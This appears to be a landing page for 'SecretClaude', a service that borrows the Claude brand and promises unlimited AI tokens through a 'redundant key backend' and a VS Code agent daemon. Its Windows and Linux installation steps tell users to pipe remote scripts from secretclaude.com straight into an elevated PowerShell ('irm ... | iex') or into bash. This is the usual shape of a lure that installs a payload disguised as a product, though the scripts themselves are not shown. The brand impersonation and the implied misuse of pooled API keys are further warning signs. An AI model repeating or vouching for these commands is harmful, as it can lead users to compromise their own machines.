SECRETCLAUDE

Premium AI model access with unlimited tokens and a local workspace agent for VS Code.

Capabilities

Advanced architecture

Unlimited tokens No per-message creditsSecretClaude mode
User

Create a Python API for me to generate licenses and validate users.

SecretClaude

Absolutely. I'm building a real FastAPI service with license issuance, token validation, and responses without credit limits.

Generatingmain.py
main.pyFastAPI / unlimited
from datetime import datetime, timedeltafrom fastapi import FastAPI, HTTPExceptionfrom pydantic import BaseModelimport secretsapp = FastAPI(title="SecretClaude License API")licenses: dict[str, dict[str, str]] = {}class LicenseCreate(BaseModel):    user: str    plan: str = "unlimited"@app.post("/licenses")def create_license(payload: LicenseCreate):    token = secrets.token_urlsafe(32)    expires_at = datetime.utcnow() + timedelta(days=365)    licenses[token] = {        "user": payload.user,        "plan": payload.plan,        "expires_at": expires_at.isoformat(),    }    return {"token": token, "tokens": "unlimited"}@app.get("/validate/{token}")def validate_license(token: str):    license_data = licenses.get(token)    if not license_data:        raise HTTPException(status_code=401, detail="invalid license")    return {"valid": True, **license_data}
Describe what you want to create. There are no token or credit limits.
∞ Tokens∞ Credits
SecretClaude AI can make mistakes. Please verify responses.
VS Code Agent Extension

Bring AI directly
into your local
workspace

Connect our downloaded client extension directly via secure workspace token authorization. Generate directories, write complete files, run terminal commands, and review each execution path in your sidebar.

  • Autonomous Actions: Let models perform complex coding, refactoring, and execution.
  • Strict Validation: Verify, accept, or reject every model action before it runs locally.
  • API Bridge Authorization: Use secure custom token configurations without exposing keys.
Get the extension
secretclaude-agent-terminal

> secretclaude is analyzing workspace...

✓ Workspace analysis complete. Project detected.

📄 Create File: src/main.jsPending Approval
const http = require('http');
const server = http.createServer((req, res) => res.end('TBL'));
server.listen(3000);
Get Started

Client installation

Install the SecretClaude workspace client daemon to bridge your VS Code editor with premium model pools.

Windows Client

1

Run PowerShell Command

Open PowerShell as Administrator and run the following command to download and run the automatic installer:

irm https://secretclaude.com/install.ps1 | iex
2

Launch Installer Wizard

Double-click the setup file, follow the installation wizard steps, and click Install.

3

Start the client agent

Run `ntl` in your PowerShell or Command Prompt to start the client agent daemon. It will listen for your VS Code workspace.

ntl

macOS Client

1

Download DMG Package

Download the official SecretClaude DMG installer from your dashboard. Open the DMG package to start.

2

Drag to Applications

Drag the SecretClaude app icon into your Applications folder shortcut inside the window to complete the installation.

3

Run daemon and verify

Open your terminal and run the startup command or launch NTL from your Launchpad to connect with VS Code.

ntl start

Linux Client

1

Execute Curl Installer

Open your terminal and execute the curl script to automatically download, configure, and install the client daemon:

curl -fsSL https://secretclaude.com/install.sh | bash
2

Add to PATH

Ensure ntl path is loaded. Reload your terminal session or run `source ~/.bashrc` to reload the environment.

3

Run client agent daemon

Start the local client daemon to start bridging connection with the VS Code Agent extension:

ntl start
Technical specs

Performance metrics

Our architecture delivers 99.9% success rates through a redundant key backend and intelligent routing.

AnthropicSecretClaude API
direct
OpenAIResponses API
direct
GoogleGemini API
direct
MetaLlama API
queue
DeepSeekDeepSeek API
direct
AlibabaQwen API
queue